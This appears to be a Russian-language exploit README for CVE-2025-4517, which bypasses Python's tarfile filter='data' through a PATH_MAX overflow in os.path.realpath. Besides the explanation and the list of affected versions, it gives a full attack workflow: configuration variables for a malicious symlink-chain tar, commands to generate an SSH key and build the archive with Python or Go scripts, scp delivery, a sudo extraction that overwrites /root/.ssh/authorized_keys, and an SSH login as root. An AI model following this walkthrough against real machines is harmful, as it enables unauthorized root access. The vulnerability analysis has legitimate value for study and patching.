
Обход фильтра данных tarfile в Python через переполнение PATH_MAX в os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile в Python через переполнение PATH_MAXАвтор: 0xDTC CVE: CVE-2025-4517 / CVE-2025-4330 Рекомендация: GHSA-6r6c-684h-9j7p Исправление в CPython: PR #135037
tarfile.extractall(filter="data") в Python должен безопасно извлекать tar-архивы, предотвращая обход пути (абсолютные пути, последовательности .. и символические ссылки, выходящие за пределы целевого каталога). Однако ошибка в os.path.realpath(strict=False) позволяет полностью обойти этот фильтр.
Когда разрешённый путь превышает PATH_MAX (4096 байт в Linux), os.path.realpath() молча прекращает разрешение символических ссылок и переходит к манипуляциям со строками. Это означает, что тщательно созданная цепочка символических ссылок может обмануть Python, заставив его думать, что символическая ссылка разрешается внутри каталога извлечения, хотя на самом деле она уходит к /.
| Ветка | Затронутые версии | Исправлено в |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
Эксплойт создаёт tar-архив, содержащий:
realpath.Ключевая идея: следование a/b/c/.../p через короткие симлинки остаётся в пределах PATH_MAX, но realpath расширяет каждый из них до ~240-символьного реального имени каталога. К моменту достижения 254-символьного имени ссылки разрешённый путь превышает 4096 байт, и realpath сдаётся — молча возвращая неверный результат.
flowchart TD
A["Злоумышленник создаёт вредоносный tar"] --> B["tar содержит:
16 пар каталог/симлинк
254-символьная escape-симлинк
'escape'-симлинк к /
файл с полезной нагрузкой"]
B --> C["Цель извлекает с помощью
tarfile.extractall(filter='data')"]
C --> D{"Python разрешает симлинки
через os.path.realpath()"}
D --> E["Следует коротким симлинкам a→ddd...d
Разрешённый путь растёт с каждым шагом"]
E --> F{"Длина разрешённого пути
> PATH_MAX (4096)?"}
F -->|"Нет (нормально)"| G["realpath корректно разрешает
Симлинк блокируется фильтром ✓"]
F -->|"Да (переполнение!)"| H["realpath ПРЕКРАЩАЕТ разрешение
Переключается на манипуляции со строками"]
H --> I["Python думает, что симлинк
разрешается ВНУТРИ каталога извлечения"]
I --> J["Фильтр ПРОПУСКАЕТ симлинк ✗"]
J --> K["ОС корректно следует симлинку
'escape' разрешается к /"]
K --> L["Полезная нагрузка записывается в
произвольный файл на диске"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Машина злоумышленника
participant T as Целевая машина
Note over A: Фаза 1 — Подготовка
A->>A: Создать пару SSH-ключей (ssh-keygen)
A->>A: Настроить переменные эксплойта<br/>(DEST_DIR, DEPTH_TO_ROOT и т.д.)
A->>A: Запустить CVE-2025-4517.py или .go<br/>для создания вредоносного tar
Note over A,T: Фаза 2 — Доставка
A->>T: Передать вредоносный tar на цель<br/>(scp, wget, curl, ftp и т.д.)
T->>T: Разместить tar в месте, доступном<br/>уязвимому скрипту
Note over T: Фаза 3 — Эксплуатация
T->>T: Запустить извлечение через<br/>уязвимый Python-скрипт
T->>T: Python вызывает tarfile.extractall(filter="data")
Note over T: Что видит Python vs реальность
T->>T: realpath() переполняется при PATH_MAX
T->>T: Фильтр считает "escape"-симлинк безопасным
T->>T: ОС следует "escape" → разрешается к /
T->>T: Полезная нагрузка записана в /root/.ssh/authorized_keys
Note over A,T: Фаза 4 — Доступ
A->>T: SSH как root с использованием записанного ключа
T-->>A: Получена root-оболочка
graph LR
subgraph "Элементы tar (извлекаются по порядку)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 уровней..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(содержимое полезной нагрузки)"]
end
S1 -.->|"короткий путь<br/>остаётся малым"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 символа выталкивают<br/>за PATH_MAX"| S5
S5 -.->|"разрешается к /"| F1
Оба скрипта имеют раздел конфигурации в начале со следующими переменными:
| Переменная | Описание | Пример |
|---|---|---|
DEST_DIR | Полный путь к каталогу извлечения на цели | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Количество каталогов от / до DEST_DIR | 4 для /opt/app/staging/dir/ |
TARGET_FILE | Файл для записи, относительно / | root/.ssh/authorized_keys |
PAYLOAD | Содержимое для записи в целевой файл | Ваш открытый SSH-ключ |
OUTPUT | Имя выходного tar-файла | Должно соответствовать ожидаемому шаблону на цели |
Вариант A: Python
# 1. Создать пару SSH-ключей
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Отредактировать CVE-2025-4517.py — обновить DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Создать вредоносный tar
python3 CVE-2025-4517.py
# 4. Передать на цель
scp backup_99.tar user@target:/path/to/backups/
Вариант B: Go
# 1. Создать пару SSH-ключей
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Отредактировать CVE-2025-4517.go — обновить destDir, depthToRoot, payload, output
# 3. Создать вредоносный tar
go run CVE-2025-4517.go
# 4. Передать на цель
scp backup_99.tar user@target:/path/to/backups/
# Запустить извлечение через уязвимый Python-скрипт
# Точная команда зависит от того, как вызывается целевой скрипт
# Пример:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH как root с использованием внедрённого ключа
ssh -i root_key root@target
Подсчитайте количество каталогов от / до вашего пути извлечения:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Любой Python-скрипт, использующий tarfile.extractall() с filter="data" на затронутой версии, потенциально уязвим:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # УЯЗВИМО
Фильтр filter="data" был введён как мера безопасности для предотвращения атак обхода пути в tar. По иронии судьбы, уязвимость существует в самом механизме (os.path.realpath), на который полагается фильтр для проверки целей символических ссылок.